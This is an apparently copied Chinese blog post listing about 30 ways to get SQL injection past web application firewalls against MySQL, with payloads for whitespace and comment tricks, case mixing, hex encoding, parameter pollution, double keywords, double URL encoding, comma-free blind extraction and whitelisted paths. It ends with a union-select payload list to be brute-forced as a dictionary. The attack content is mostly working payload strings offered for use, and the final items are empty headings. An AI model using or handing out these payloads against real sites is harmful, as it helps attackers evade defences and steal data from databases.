SQL注入绕过

1、空格字符绕过
%09 tab键(水平)
%0a 新建一行
%0c 新建一页
%0d return功能
%0b tab键(垂直)
%a0 空格
可以将空格字符替换成注释/**/ 还可以使用 /*!,这里根据mysql版本的内容不注释 */

2、大小写绕过
将字符串设置成大小写,如and 1=1转成 AnD 1=1 或anD 1=1

3、浮点数绕过
如where id=1 转成 id=1.0

4、NULL值绕过
\N代表null,如id=\Nunion select 1,2,\N

5、引号绕过
如果waf拦截过滤单引号 ',可以使用双引号 "
也可以将字符串转换成16进制,如’admin’转换成0x61646D696E

6、添加库名绕过
有些waf的拦截规则不会拦截 [库名].[表名]这种模式
如 dvwa.users

7、使用ALL或DISTINCT绕过
在mysql中可以使用distinct去除查询的重复值,可以利用这个绕waf
如 union distinct select 1,2
显示全部,如
union all select 1,2
union select all 1,2

8、反引号绕过
在mysql中,字段使用反引号``绕过waf,加与不加,意义相同

9、脚本语言特性绕过
在php中,id=1&id=2后面的值会覆盖前面的值,不同的语言有不同的特性,可以利用这个绕过waf。有些waf会去匹配第一个id参数1%00 %00是截断字符,waf自动截断,从而不会检测后面的内容
id=1%00&id=2 union select 1,2,3
到了程序中就会变成
id=2 union select 1,2,3

10、逗号绕过
有些防注入脚本会对逗号进行拦截,就不能使用逗号进行注入
(1)利用substr()函数

(select(substr(database() from 1 for 1)))='a'

查询当前库第一个字符是否等于a,如果等于,返回正常页面
有些waf也会屏蔽单引号,可以用hex()将’a’转换成 0x61
SQL注入绕过_第1张图片
(2)mid函数截取字符串
这个函数与strsub函数功能相同,如果strsub函数被拦截或过滤可以用mid代替

(select(mid(database() from 1 for 1)))='a'

(3)使用join绕过
union select 1,2
等价于
union select * from(select 1)a join (select 2)b
a和b是表的别名
例如

select * from users where id=-1 union select 1,2,3,4;

等价于

select * from users whrer id =-1 union select * from(select 1)a join(select 2)b join(select user())c join(select 4)d;

(4)like绕过
使用like模糊查询,查询成功返回1,否则返回0

select user() like 'a%'

找到第一个字符后继续进行下一个字符匹配,从而找到所有的字符串,这种sql注入也不存在逗号,从而绕过waf
(5)limit offset绕过
如果需要限定条目可以使用limit0,1限定返回一条记录,对逗号进行拦截时,可以使用limit 1 默认返回一条数据,也可以使用limit 1 offset 0 从0开始返回第一条记录,就可绕过waf
例如

select * from users where id=-1 union select 1,2,3,user() limit 0,1;

转换成

select * from users where id=-1 union select 1,2,3,user() limit 1;

select * from users where id=-1 union select 1,2,3,user() limit 1 offset 0;

11、or and xor not绕过
目前主流waf都会对id=1 and1=2、id=1 or 1=2、id=0 or 1=2等进行拦截,可以通过字符替换
and 等于 &&
or 等于 ||
not 等于 !
xor 等于 |
在浏览器使用时,对字符URL转换
SQL注入绕过_第2张图片

12、ASCII字符对比绕过
许多waf会对union select 进行拦截,那么就不能使用联合查询注入,可以使用字符截取对比法进行绕过

select * from users where id=1 and substring(user(),1,1)='r';

转换成

select * from users where id=1 and substring(user(),1,1)=114;

将’r’换成ASCII码
SQL注入绕过_第3张图片

13、等号绕过
如果等于号被拦截,可以使用like、rlike、regexp或者使用大于小于号

(1)

select *from users where id=1 and ASCII(substring(user(),1,1))<114;
select *from users where id=1 and ASCII(substring(user(),1,1))>114;

都返回错误的页面,就可以判断第一个字符ASCII码为114

(2)

select * from users where id=1 and (select substring(user(),1,1)like 'a%')
select * from users where id=1 and (select substring(user(),1,1)rlike 'a')

判断第一个字符是否为a,如果返回错误页面,就不是a
(3)

select * from users where id=1 and 1=(select user()regexp'^a')

如果第一个字符不是a,则返回错误界面

14、双关键词绕过
有些程序会对union、select等单词进行转空,但是只会转一次
例如

id=-a'UNIunionON SELselectECT1,2,3--+

select、union转空后从而绕过waf

15、二次编码绕过
有些程序会解析二次编码,造成SQL注入,因为url两次编码过后,waf是不会拦截的
如-1’ union select 1,2–
SQL注入绕过_第4张图片

16、多参数拆分注入
将多个参数拼接到同一条SQL语句中,可以将注入语句分割插入,如a=[…]&b=[…],有两个可控的参数,使用union select会被拦截,就可以拆分参数

-1'union/*&username=*/select 1,user(),3,4--+

17、使用生僻函数绕过
如在报错注入中使用polygon()函数替换常用函数updatexml()

18、信任白名单绕过
有些waf会自带一些文件白名单,waf不会拦截白名单的任何操作,白名单通常目录有
/admin
/phpmyadmin
/admin.php
例如

phpmyadmin?name=%27%20union%20select%201,user()--+&submit=1

19、静态文件绕过
除了白名单信任文件和目录外,还有一部分waf不会对静态文件进行拦截,如图片文件jpg、png、gif或者css、js,对这些静态文件的操作不会进行检测从而绕过waf
例如

id=1.jpg&name=' union select 1,user()--+

20、order by 绕过
当order by被过滤时,无法猜解字段数,此时可以使用into变量名进行代替
例如

select *from users where id=1 into @a,@b,@c,@d;

如果没有报错,则表示存在4个字段

21、溢出绕过
可以使用select 0xA运行大量字符绕过waf

1 and (select 1)and (select 0xA*1000)union select 1,user()-- 

SQL注入绕过_第5张图片

22、花括号绕过

select 1,2 union select{x 1},user();

花括号左边是注释内容,可以绕过一些waf
SQL注入绕过_第6张图片

23、换行绕过
使用换行,再加上一些注释符进行绕过

select * from users where id=-1 union
/*
qfewgwreg
qtfqgqwgewg
wegweqg
*/ 
select 1,2,3user();

24、编码绕过
(1)http编码绕过
通常waf只坚持它所识别的编码,比如utf-8,但是服务器可以识别更多的编码
例如请求包中我们可以更改Content-Type中的charset的参数值,改成ibm037,这个协议编码有些服务器是支持的
(2)url编码绕过
在iis里会自动把url编码转换成字符串传到程序中执行
例如union select 可以转换成 u%6e%69%6f%6e%20%73%65lect
在iss中%25是%的编码可以用%250A表示空格
SQL注入绕过_第7张图片
(3)Unicode编码绕过

25、union select绕过总结
许多waf对单个关键词不拦截,一起就拦截
针对单个关键词绕过
sel<>ect 程序过滤<>为空 脚本处理
sel/**/ect 程序过滤 /* /为空
/
!%53eLEct*/ url编码与内联注释
se%blect 使用空格绕过
sele%ct 使用百分号绕过
%53eLEct 编码绕过

大小写绕过

uNIoN sELecT 1,2
union all select 1,2
union DISTINCT select 1,2
null+UNION+SELECT+1,2
/*!union*//*!select*/1,2
union/**/select/**/1,2
and(select 1)=(Select 0xA*1000)/*!uNIOn*//*!SeLECt*/ 1,user()
/*!50000union*//*!50000select*/1,2
/*!40000union*//*!40000select*/1,2
%0aunion%0aselect 1,2
%250aunion%250aselect 1,2
%09union%09select 1,2
%0caunion%0cselect 1,2
%0daunion%0dselect 1,2
%0baunion%0bselect 1,2
%0d%0aunion%0d%0aselect 1,2
--+%0d%0aunion--+%0d%0aselect--+%0d%0a1,--+%0d%0a2
/*!12345union*//*!12345select*/1,2;
/*中文*/union/*中文*/select/*中文*/1,2;
/*
*/union/*
*/select/
*/1,2;
/*!union*//*!00000all*//*!00000select*/1,2

可以将上面建一个文本字典,抓包后爆破看存在哪些大小写注入

26、分块传输绕过
27、pipline绕过注入
28、利用multipart/form-data绕过
29、http相同参数请求绕过
30、application/json或者text/xml绕过

你可能感兴趣的:(sql,数据库,网络安全)